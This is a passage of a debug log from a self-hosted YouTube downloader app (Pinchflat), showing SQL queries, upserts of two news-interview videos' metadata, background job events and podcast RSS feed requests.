s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:40:05.728 [debug] QUERY OK source="sources" db=0.5ms queue=0.8ms idle=61.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:40:05.730 [debug] QUERY OK source="media_items" db=0.6ms queue=0.6ms idle=63.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 20:40:05.759 [debug] QUERY OK source="media_items" db=27.2ms queue=0.1ms idle=65.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "99f08663-49de-480d-a0ab-0ae0cbe86115", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 20:40:05Z], ~U[2026-01-10 20:40:05Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 20:40:05.760 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=93.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:40:05.761 [debug] QUERY OK source="media_items" db=0.8ms idle=34.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 20:40:05.800 [debug] QUERY OK source="media_items" db=37.5ms idle=33.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "962e8ab2-36b8-473f-9723-e077ed523614", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 20:40:05Z], ~U[2026-01-10 20:40:05Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 20:40:05.821 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=89.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 20:40:05Z], ~U[2026-01-10 20:40:05Z], 1] 20:40:05.839 [debug] QUERY OK source="media_items" db=17.7ms idle=63.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:40:05.841 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=79.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:40:05.841 [debug] QUERY OK source="media_items" db=0.2ms idle=79.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 20:40:05.883 [debug] QUERY OK source="tasks" db=17.9ms queue=0.1ms idle=25.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [96, 1, ~U[2026-01-10 20:40:05Z], ~U[2026-01-10 20:40:05Z]] 20:40:05.886 [info] {"args":{"id":1},"id":95,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":12392356,"event":"job:stop","queue_time":762452,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:40:30.251 [info] {"source":"oban","duration":27289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:59.078 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 20:41:00.280 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.956 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:41:27.292 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:41:27.293 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:41:27.296 [debug] QUERY OK source="sources" db=2.3ms queue=0.3ms idle=1628.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:41:27.300 [debug] QUERY OK source="media_items" db=1.9ms queue=0.2ms idle=1632.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:41:27.306 [debug] QUERY OK source="source_metadata" db=2.8ms idle=1361.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:41:27.380 [debug] QUERY OK source="media_metadata" db=73.4ms queue=0.1ms idle=642.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:41:27.399 [info] Sent 200 in 106ms 20:41:30.360 [info] {"source":"oban","duration":31758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:59.087 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 20:42:00.408 [info] {"source":"oban","duration":46213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.958 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:42:30.410 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.412 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.960 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:43:30.415 [info] {"source":"oban","duration":1861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:43.862 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:43:43.863 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:43:43.864 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=1157.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:43:43.866 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=561.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:43:43.869 [debug] QUERY OK source="source_metadata" db=0.5ms idle=162.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:43:43.870 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.5ms idle=163.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:43:43.871 [info] Sent 200 in 8ms 20:44:00.417 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.962 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:30.420 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:59.109 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 20:45:00.423 [info] {"source":"oban","duration":2118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.965 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:30.425 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.427 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.966 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:30.429 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:53.777 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:46:53.800 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:46:53.801 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=92.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:46:53.803 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=93.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:46:53.806 [debug] QUERY OK source="source_metadata" db=0.8ms idle=96.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:46:53.807 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.2ms idle=98.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:46:53.808 [info] Sent 200 in 31ms 20:47:00.431 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.968 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:30.433 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.436 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.970 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:09.734 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:48:09.735 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 20:48:09.736 [debug] QUERY OK source="sources" db=1.1ms idle=1026.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 20:48:09.738 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1028.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 20:48:09.740 [debug] QUERY OK source="source_metadata" db=0.4ms queue=0.2ms idle=755.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 20:48:09.741 [debug] QUERY OK source="media_metadata" db=0.8ms idle=32.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 20:48:09.742 [info] Sent 200 in 7ms 20:48:30.438 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.442 [info] {"source":"oban","duration":2651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.971 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:30.445 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.447 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.974 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:30.449 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.451 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.977 [info] {"source":"oban","duration":2232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:09.041 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 20:51:09.041 [debug] Processing with 